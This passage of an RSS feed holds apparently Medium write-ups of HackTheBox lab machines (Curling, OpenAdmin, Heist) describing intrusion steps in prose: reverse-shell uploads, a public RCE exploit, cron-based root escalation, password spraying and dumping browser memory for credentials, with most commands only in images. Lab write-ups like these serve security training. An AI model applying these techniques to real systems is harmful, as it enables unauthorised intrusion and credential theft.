NT AUTHORITY\SYSTEM</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c063db19ea43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Curling]]></title>
            <link>https://medium.com/@stavrosgounis/curling-d715dca23d9b?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d715dca23d9b</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[joomla]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Wed, 18 Jan 2023 21:05:30 GMT</pubDate>
            <atom:updated>2023-01-18T21:05:30.999Z</atom:updated>
            <content:encoded><![CDATA[<p>This is part of the HTB track under the name of <em>Intro to Dante</em></p><h3>Reconnaissance</h3><p>The results from the nmap tool are presented in <em>Figure 1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OkkAoD9g1d4HEof6hGLuw.png" /><figcaption>Figure 1: nmap’s Service Scan</figcaption></figure><h3>Enumeration</h3><h4>Port 80 (HTTP)</h4><p>By navigating to <a href="http://curling.htb/">http://curling.htb</a>, we were presented with a Joomla site (<em>Figure 2</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K8i0jLtgJel1LaIv2uptHA.png" /><figcaption>Figure 2: Home Page</figcaption></figure><p>From the posts, we can extract a possible user and password, <strong><em>floris:curling2018</em></strong> (<em>Figure 2</em>). Despite the fact that <a href="https://www.kali.org/tools/cewl/">cewl</a> corresponds to a tool, that is builtin in Kali Linux, which is used to create a custom wordlist, inspection of the source code of the home page revealed a file on the web page (<em>Figure 3</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NluDW0z786vsMaKFJ_AD7g.png" /><figcaption>Figure 3: Source Code Inspection</figcaption></figure><p>By navigating to <a href="http://curling.htb/secret.txt">http://curling.htb/secret.txt</a> we get a password encoded with base64 (<em>Figure 4, 5</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*m9xVMdN-HI_TOFRnIZH6Dw.png" /><figcaption>Figure 4: Accessing secret.txt Contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*03TFlnzAScPfZPmMsHf1tA.png" /><figcaption>Figure 5: Decoding String</figcaption></figure><p>Trying this password on the login panel showed in <em>Figure 2</em>, we were able to authenticate ourselves as <em>floris</em> who is a super user (<em>Figure 6</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*mBD9tKhUB-7uvnnbRxMhaw.png" /><figcaption>Figure 6: Authentication as floris</figcaption></figure><p>There isn’t much we can do with the information we have in our hands and yet directory busting (<em>Figure 7</em>) yielded a Joomla login portal (<em>Figure 8</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VRFzzlkfLlW20EUWlIEkFw.png" /><figcaption>Figure 7: Directory Busting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*2-F9VWMbovUQCql-Jco7WA.png" /><figcaption>Figure 8: Joomla Login Portal</figcaption></figure><p>By utilizing the credentials that we used earlier, we were able to login as floris who has super user privileges (<em>Figure 9</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXkkll-TyQgfreaq9lawuA.png" /><figcaption>Figure 9: Access to Control Panel</figcaption></figure><h3>Exploitation</h3><p>By looking around to find a potential attack vector, I chose to upload a PHP reverse shell in the <em>protostar</em> template folder (<em>Figure 10</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*12quPFYItPTZzR_-qpXf6Q.png" /><figcaption>Figure 10: PHP Reverse Shell</figcaption></figure><p>After accessing the file we got back a reverse shell (Figure 11)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lr7ysBVX7Mg-49klibB7zQ.png" /><figcaption>Figure 11: Getting Reverse Shell</figcaption></figure><h3>Post-Exploitation</h3><h4>User &amp; System Accounts</h4><p>From reading the file <em>/etc/passwd</em> (<em>Figure 12</em>) we get that there is a normal user under the same name, floris</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sexVgvDM6MKnI4ZSW26RqQ.png" /><figcaption>Figure 12: /etc/passwd Contents</figcaption></figure><h4>Floris Home Directory</h4><p>Hopefully, the home directory of the user is “listable”, which contains a very interesting file (<em>Figure 13</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cry_7TWlWkzcvabif0ko_Q.png" /><figcaption>Figure 13: xxd result of a file</figcaption></figure><p>Let’s see a little closer the first string before the first dots. Do you see that the it starts with BZ ? That is the file magic number of a .bzip file. So let’s transfer it to our attacking machine for further testing (<em>Figure 14</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tz_uEHd4pZtIjHyemkY1yA.png" /><figcaption>Figure 14: Transferring The File</figcaption></figure><p>Having the file locally, let’s convert the hexdump to binary first (<em>Figure 15</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*glM9knUyrYZmbG7i7YWyoQ.png" /><figcaption>Figure 15: Converting Hexdump to Binary</figcaption></figure><p>By keep doing decompression and checking the resulting file with the file command we get a file called <em>password.txt</em> (<em>Figure 16, 17, 18 ,19</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GAwfZjh5QiZtgXqzEinq9Q.png" /><figcaption>Figure 16: bzip Leaded to gzip File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Af9EhJI8R4zFBTRrBdbAtQ.png" /><figcaption>Figure 17: gzip File Leaded to bzip File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i4MErHcgQA2if7VqrHtd-g.png" /><figcaption>Figure 18: bzip File leaded to a tar File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KwGdhjMLJbJUa4Spr55XA.png" /><figcaption>Figure 19: tar File Extracted password.txt File</figcaption></figure><h4>Connecting as floris</h4><p>Using the aforementioned password, we were able to login as floris (<em>Figure 20</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Io-jpwPt5UMTY3i6CQHDaw.png" /><figcaption>Figure 20: Authentication as floris Via SSH</figcaption></figure><h4>Process Inspection</h4><p>Process inspection and the fact that the file report is being accessed every minute got us thinking that something has been scheduled (<em>Figure 21, 22</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riTnswNcdK-yjjnvcD2kYg.png" /><figcaption>Figure 21: Services For Scheduled Jobs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*BBYaiTWCe5ZUaOE_EgVmzw.png" /><figcaption>Figure 22: report File is Being Accessed Every Minute</figcaption></figure><p>By utilizing the <em>pspy</em> tool, we were able to inspect the process that were forked (<em>Figure 23</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JD420dhh_RhSiAZcG__-OA.png" /><figcaption>Figure 23: Commands Being Executed</figcaption></figure><p>By utilizing the <em>explainshell</em>, the -K option allows us to specify a configuration file which format can look like <a href="https://everything.curl.dev/cmdline/configfile">this</a>.</p><p>After reading the /etc/shadow file as proof of concept (<em>Figure 24</em>), we got a reverse shell as root by creating locally on the target host a file with a cron entry and writing it to the <em>/etc/crontab</em> file (<em>Figure 25, 26</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHOgUciKmlL5RdFGGyD8ZA.png" /><figcaption>Figure 24: Reading /etc/shadow — PoC</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rR5GkbP-u23bHVWVDDRfsQ.png" /><figcaption>Figure 25: Modifying Config File — Creating a Scheduled Job</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIBPYBQUZc0N68RpS-84Tw.png" /><figcaption>Figure 26: Capturing The Reverse Shell</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d715dca23d9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OpenAdmin (HTB)]]></title>
            <link>https://medium.com/@stavrosgounis/openadmin-htb-77057c77f9b1?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/77057c77f9b1</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[sudo]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Tue, 17 Jan 2023 23:09:29 GMT</pubDate>
            <atom:updated>2023-01-17T23:09:29.957Z</atom:updated>
            <content:encoded><![CDATA[<p>This is part of the HTB track under the name of <em>Intro to Dante</em></p><h3>Reconnaissance</h3><p>The results of the nmap tool are presented in <em>Figure 1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joddvnbvake7uA2w7Mi-3w.png" /><figcaption>Figure 1: nmap Service Scan</figcaption></figure><h3>Enumeration</h3><h4>Port 80 (HTTP)</h4><p>By navigating to <a href="http://openadmin.htb/">http://openadmin.htb</a>, we were presented with the default page of the Apache web server (<em>Figure 2</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HS60fAw876SNWpmv0rdEHQ.png" /><figcaption>Figure 2: Apache2 Web Server Default Page</figcaption></figure><h4>Directory Busting</h4><p>Directory busting of the base directory (/), revealed three directories (<em>Figure 3</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELm792jtKh9cw3UoMlmXjw.png" /><figcaption>Figure 3: Directory Busting</figcaption></figure><p>Directory busting of these revealed some directories (<em>Figure 4, 5, 6</em>) but nothing that could be weaponized. At the end, source review of the <em>/music/index.html</em> did the magic, as it revealed a directory which accessed via directory traversal (<em>Figure 7</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NRwmxLoVMM5-SsDQZ3v5Qg.png" /><figcaption>Figure 4: Directory Busting /music Directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nsGJ8o5aGPP_GPeL1Hq5A.png" /><figcaption>Figure 5: Directory Busting /artwork Directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LpcLRFstirZFDrmmrwIpA.png" /><figcaption>Figure 6: Directory Busting /sierra Directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*KkAUZzRTyyAn6HK6zCT8cA.png" /><figcaption>Figure 7: Static Analysis of /music/index.html</figcaption></figure><h4>OpenNetAdmin Directory</h4><p>We automatically have a session as <strong><em>guest</em></strong> user on the <em>OpenNetAdmin</em>, though providing the credentials <em>admin:admin</em>, we were able to login as <em>admin (Figure 8</em>) without being able to extra action on the panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*e9z7MFUeRiRcbpZc9ge55w.png" /><figcaption>Figure 8: OpenNetAdmin</figcaption></figure><p>Vulnerability research of the product revealed that the version v18.1.1 is vulnerable to remote code execution (<em>Figure 9</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TKT_-m3eFYmB9GC6SxfTKg.png" /><figcaption>Figure 9: Vulnerability Searching</figcaption></figure><h3>Exploitation</h3><p>By utilizing a public exploit written in bash (<em>Figure 10</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4dG7S9GU6GglriKQPy4rw.png" /><figcaption>Figure 10: Remote Code Execution (RCE) in OpenNetAdmin</figcaption></figure><p>By writing a python reverse shell locally, dropping it on the host and executing it we got a more stable shell (<em>Figure 11, 12</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*VB65DvfZLF-ASprsgap0ww.png" /><figcaption>Figure 11: Dropping &amp; Executing Python Reverse Shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*5FYwwuwo7iBjy1WoiWQmoA.png" /><figcaption>Figure 12: Capturing Reverse Shell</figcaption></figure><h3>Post-Exploitation</h3><h4>User &amp; System Account</h4><p>Reading of the <em>/etc/passwd</em> file we can see two additional users, jimmy and joanna (<em>Figure 13</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yJ6C1nqo2A4EhSLQacivDw.png" /><figcaption>Figure 13: /etc/passwd File</figcaption></figure><h4>CVE-2021–4034 (PwnKit)</h4><p>Some manual enumeration of the enumeration in addition with some googling revealed that the host is vulnerable to <em>PwnKit</em> (<em>Figure 14, 15</em>) but let’s respect the creator of the machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQ1cgLnrjadjH8Y5vhSjiA.png" /><figcaption>Figure 14: uname -a Result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbPYY8kx3aYuzCmIVzzqPA.png" /><figcaption>Figure 15: SUIDs</figcaption></figure><h4>Local Services</h4><p>Checking local services revealed that there is a local web server running on port 52846 (<em>Figure 16</em>) but nothing we can do without user credentials.</p><p>I tried metasploit’s port forwarding functionality but it failed! So I started hunting for credentials and is there any location better than configuration files? (<em>Figure 17</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK8FG89pcjZD2WzZBYRTYQ.png" /><figcaption>Figure 16: Local Services</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*mHHoMSIRVrbPUc3sbpmSqQ.png" /><figcaption>Figure 17: OpenNetAdmin Configuration Directory</figcaption></figure><p>Reviewing the contents of the <strong><em>database_settings.inc.php</em></strong> file, we got a password (<em>Figure 18</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*573tXme99Gnym60R5vYeKA.png" /><figcaption>Figure 18: Password Harvesting From database_settings.inc.php</figcaption></figure><h4>Password Spraying</h4><p>Having this password in our hands let’s <em>spraying</em> around to see which user is using it (<em>Figure 19</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4ul8rYt4m2OGne0mekkTw.png" /><figcaption>Figure 20: Hydra Password Spraying</figcaption></figure><h4>Port Forwarding — SSH Tunelling</h4><p>Now that we have the password for the <em>jimmy</em> account we can forward the local port to our attacking machine (<em>Figure 21, 22</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cX9F3PJcyPQVJCjvg51T-A.png" /><figcaption>Figure 21: SSH Tunneling — Port Forwarding</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjWt9xnzm0lgQJiFImruEw.png" /><figcaption>Figure 22: Successful Port Forwarding</figcaption></figure><h4>Port 3030</h4><p>By navigating to <a href="http://localhost:3030/">http://localhost:3030</a> on our attacking machine, a login portal was presented to us (<em>Figure 23</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zN5GcAJ47QBknXNkpU0e4A.png" /><figcaption>Figure 23: Login Portal</figcaption></figure><p>Jimmy is member of the <em>internal</em> group (<em>Figure 24</em>), therefore he is able to read files inside <strong><em>/var/www/internal</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*4cybc7Oyohh0BcdlKV89KQ.png" /><figcaption>Figure 24: id Command Results</figcaption></figure><p>By reading the contents of the <strong><em>/var/www/internal/index.php</em></strong>, the username should be <strong><em>jimmy</em></strong> and the password to match the provided hash (<em>Figure 25</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lmxaaHTsA90FQNjmmZl_Eg.png" /><figcaption>Figure 25: Contents of index.php</figcaption></figure><p>By utilizing CrackStation, we were able to crack the aforementioned hash which corresponds to <strong><em>Revealed</em></strong>, therefore the credentials are <strong><em>jimmy:Revelead</em></strong> (<em>Figure 26</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bm7mtX4y0IZ7TU55cLtuZw.png" /><figcaption>Figure 26: CrackStation Hash Cracking</figcaption></figure><p>Upon successful authentication, a private ssh key was displayed on us which has been encrypted (<em>Figure 27</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*XjXOaRIJ7GlldLgo5XDkLA.png" /><figcaption>Figure 27: Private Encrypted SSH Key</figcaption></figure><p>Utilizing <em>john the ripper</em>, we were able to find out that the passphrase was <strong><em>bloodninjas</em></strong> (Figure 28, 29)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*eO4Q1WmSmrNtEz1ImyQN_A.png" /><figcaption>Figure 28: Preparing Hash For john</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*_Busp-iSMjgJ2ZmqyZ269w.png" /><figcaption>Figure 29: Cracking Hash With john</figcaption></figure><h4>Privilege Escalation</h4><p>Now having logged into the host as joanna by executing <strong><em>ssh -i &lt;private_key&gt; joanna@openadmin.htb</em></strong> and performing some basic enumeration, we found out that the user can execute /bin/nano via sudo (Figure 30)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ixUXj5Dju800mFLiTbhd-g.png" /><figcaption>Figure 30: Results of sudo -l</figcaption></figure><p>Utilizing <em>GTFObins</em>, we were able to escalate our privileges to <strong><em>root</em></strong> (<em>Figure 31</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuSSUVkwShg4BbGWvCYi5w.png" /><figcaption>Figure 31: Privilege Escalation</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77057c77f9b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Heist (HTB)]]></title>
            <link>https://medium.com/@stavrosgounis/heist-htb-e9fa4b6ac25e?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9fa4b6ac25e</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cisco]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Tue, 17 Jan 2023 20:54:47 GMT</pubDate>
            <atom:updated>2023-01-18T07:23:03.706Z</atom:updated>
            <content:encoded><![CDATA[<p>This is part of the HTB track under the name of <em>Intro to Dante</em></p><p>I am considering this machine one of my favorites because I revisited my knowledge on a tool that I have long forgotten, <em>crackmapexec</em>, and I learnt a new one, <em>evil-winrm</em>. I know popular tool but it was never given to me the chance to use it. Oh, I forgot! The usage of <em>procdump</em> tool. If you want to see the magic of the latter skim over to the end of the article!</p><h3>Reconnaissance</h3><p>I usually ping my target for two reasons. First to see if the machine is <em>alive</em>, in case that it allows ICMP traffic, and more importantly to conduct a passive OS reconnaissance so to get an idea about the operating system that I have to engage.</p><p>According to a <a href="https://www.net.in.tum.de/fileadmin/TUM/NET/NET-2020-11-1/NET-2020-11-1_14.pdf">paper</a> from the <em>Technical University of Munich</em>, by paying attention on the <em>TTL</em> and <em>TCP window size</em> we can get an idea about the underlying operating system (<em>Figure 1</em>). <a href="https://ostechnix.com/identify-operating-system-ttl-ping/">This</a> article includes even more operating systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*S9qmB-4ww7g8t_aaxVQ8Dg.png" /><figcaption>Figure 1: OS Fingerprinting</figcaption></figure><p>Now let’s check our results (<em>Figure 2</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Gtnz6BbKn7ykqY7R5J2-g.png" /><figcaption>Figure 2: ICMP Traffic</figcaption></figure><p>I know! I was expected to see <strong><em>ttl=128</em></strong> too! I guess it has to do with the intermediate nodes. Remember that whenever a packet passes through a gateway it decreases its <em>TTL</em> value. From the nmap’s traceroute report (<em>Figure 3</em>), I guess this is what is going on. But, let me say that one more time, BUT, I have to test it on my own in a lab. I do not like biased conclusion, neither should you!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*rr9I9qEydPwJiKaIe0124Q.png" /><figcaption>Figure 3: nmap’s Traceroute</figcaption></figure><p>At this point, let’s start getting our hands dirty! The results of the nmap tool are presented in <em>Figure 4</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyB5m312pQZqwiNlfCmWtw.png" /><figcaption>Figure 4: nmap Service Scan</figcaption></figure><h3>Enumeration</h3><h4>Port 80 (HTTP)</h4><p>Once we navigated to the <a href="http://heist.htb/">http://heist.htb</a>, a login portal was presented to us (<em>Figure 5</em>). This portal has an interesting functionality, <em>login as guest</em>. Once we clicked on the <em>login as guest</em>, we were redirected to <em>/issues.php </em>(<em>Figure 6</em>) which is a conversation between a possible user under the name <em>Hazard</em> and <em>support admin (admin)</em>. Hazard also included a CISCO configuration file (<em>Figure 7</em>) and we know that he has a possible presence on the windows machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9UII8L_ZeeMGkR0NRPx4Q.png" /><figcaption>Figure 5: Login Portal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRZVHS8MCT6AlB63aDrVdw.png" /><figcaption>Figure 6: Conversation Between Support and User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBDWjtjETFKjn0oE43SU6Q.png" /><figcaption>Figure 7: CISCO Configuration Files</figcaption></figure><p>Now the interesting thing is that <strong>CISCO type 7 passwords</strong> can be decrypted instantly! Did I say INSTANTLY?! Yes, I did! Practically, type 7 passwords uses <strong>Vigenère</strong> cipher which is a substitution encryption method. Thereafter, by using this little tool <a href="https://github.com/theevilbit/ciscot7">here</a>, we get the passwords presented in <em>Figure 8</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*_3o4yNDB6X1uR_c-FrrMmw.png" /><figcaption>Figure 8: Type 7 Password Decryption</figcaption></figure><p>According to <a href="https://www.router-switch.com/faq/six-types-of-cisco-password.html">this</a> article, type 5 password was introduced in 1992 and it is a 1,000 iteration of MD5 hash with salt. So let’s fire up our <em>john</em> with our <em>rockyou</em> attitude (<em>Figure 9</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YNCkM82_XmMtbIvO7yEnw.png" /><figcaption>Figure 9: Cracked CISCO Type 5 Password</figcaption></figure><h4>Port 445 (SMB)</h4><p>By testing manually the credentials <strong><em>hazard:stealth1agent</em></strong> on the SMB server we can see that now we can list the available shares. The problem is that we can’t do much! (<em>Figure 10, 11</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Me51HZFlND-8XRnnwx5CrA.png" /><figcaption>Figure 10: Listing Shares as Hazard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vg2DGVJnLtXo1LXdScQR1A.png" /><figcaption>Figure 11: Testing Creds on WinRM</figcaption></figure><p>Though my enumeration of the port 135 (RPC) yielded some interesting results which leaded to gain additional knowledge on the internals of Microsoft Windows! (<em>Figure 12</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G8mSYhejFqrPuGtdoN7fwQ.png" /><figcaption>Figure 12: Find SIDs By Name</figcaption></figure><p>Connecting manually on the RPC service with <strong><em>rpcclient</em></strong> tool, I started using the information that I had in my hands by utilizing <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration">this</a> article from <em>hackingtricks</em>. Scrolling down trying to check everything, I crossed paths with this small piece of code (<em>Figure 13</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IILeH-n2JL8tzJp2d02s_w.png" /><figcaption>Figure 13: RIDs Brute Forcing</figcaption></figure><p>“RID brute forcing?”, I said. What in Lord’s kingdom is <em>RID</em> in the first place? <em>RID</em> stands for <strong>Relative Identification</strong> and this is how windows distinguish users inside a domain or locally in SAM database (<em>Figure 14</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUgl4kPE9kbBHOeiVcbPkg.png" /><figcaption>Figure 14: Microsoft Learn | Relative Identifiers</figcaption></figure><p>Despite the fact the aforementioned code and <em>impacket-samrdump</em> didn’t work, <em>crackmapexec</em> has such a functionality which it did! (<em>Figure 15</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z7Z4JWECzjJi9bV5MMsEug.png" /><figcaption>Figure 15: RID Brute Forcing</figcaption></figure><p>Cool, time for situation awareness! At this stage we have a batch of users and three passwords on our hands. Are you thinking what I am thinking?! Exactly time for <strong>Pass-The-Password</strong>! I wouldn’t argue if you called it password spraying (<em>Figure 16</em>)</p><blockquote>For your visual aid, imagine you have a batch of people in a room who some of them, if not all of them, are allergic to a specific air freshener product and you are spraying around to see who will start sneezing</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEMIPNo2yOSqRLHQo4bDAg.png" /><figcaption>Figure 16: Pass-The-Password With crackmapexec</figcaption></figure><h3>Exploitation</h3><p>Having the knowledge of chase’s credentials by utilizing them on the tool <em>evil-winrm</em>, we got initial foothold on the machine (<em>Figure 17</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nwlplLQskZS_b2kB_11oqw.png" /><figcaption>Figure 17: evil-winrm Initial Foothold</figcaption></figure><h3>Post-Exploitation</h3><p>Host enumeration with <em>winpeas.exe</em> yielded an interesting result (<em>Figure 18</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LdWF2LO3mi2yy6pFgsqL5g.png" /><figcaption>Figure 18: Possible Firefox Credentials in History</figcaption></figure><p>Though the tool <strong><em>SharpWeb</em></strong> didn’t work! So it got me thinking how someone can dump information regarding a program. Some google research, which got me reading wrong documentation (WinDbg) and the <strong><em>procdump</em></strong> tag on the machine in the HTB platform put me in the right direction. Frankly the latter!</p><h4>Process Dump</h4><p>By executing <em>Get-Process</em>, we get a list of processes and we can see that <em>firefox</em> is running on the host (<em>Figure 19</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AU1MjiJ5UxiLdAdisMTDzg.png" /><figcaption>Figure 19: Process list</figcaption></figure><p>Next by dropping on the host the <em>procdump64.exe</em> binary, we were able to make a full dump of the process (<em>Figure 20, 21</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sm2E0dBMtm9MiUif9McAow.png" /><figcaption>Figure 20: Process Dump with procdump64</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cjjHFlgkqJRTuE-LH_yCmA.png" /><figcaption>Figure 21: Documentation of procdump64</figcaption></figure><h4>Transferring The Dump Locally</h4><p>FTP solution didn’t work as powershell didn’t allowed me to connect, therefore I set up a SMB server locally on my attacking machine and transferred the file (<em>Figure 22, 23</em>)</p><blockquote>Bear in mind that the file is around 500MB so it may take some seconds to be transferred to your machine</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AItH7F_rAagiDcvY2PB8xQ.png" /><figcaption>Figure 22: SMB Server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PEunEFTJJq0qjhkxFlk23Q.png" /><figcaption>Figure 23: Mounting and Transferring The Dump</figcaption></figure><h4>Credential Harvesting</h4><p>Having the dump locally we can grep the file for the string <strong><em>login_username (</em></strong><em>Figure 24</em>). Why? Because static analysis of the source of the login portal reveals that the username and password are transferred via <em>login_username</em> and <em>login_password</em> (<em>Figure 25</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6p1vXwtDysvskVt3BAR8Q.png" /><figcaption>Figure 24: Credential Harvesting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pH47mltpnBd4YpClM-b03Q.png" /><figcaption>Figure 25: Static Analysis of Login Portal</figcaption></figure><h4>Privilege Escalation</h4><p>Now that we have in our hands the credentials of the admin we can utilize them via <strong><em>impacket-psexec</em></strong> tool (<em>Figure 26</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZlSJzGkPVjoqRO1KpgcGEw.png" /><figcaption>Figure 26: Privilege Escalation to NT AUTHORITY\SYSTEM</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9fa4b6ac25e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Steel Mountain]]></title>
            <link>https://medium.com/@stavrosgounis/steel-mountain-fd9921275017?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd9921275017</guid>
            <category><![CDATA[steel-mountain]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Mon, 09 Jan 2023 12:57:23 GMT</pubDate>
            <atom:updated>2023-01-09T12:57:23.927Z</atom:updated>
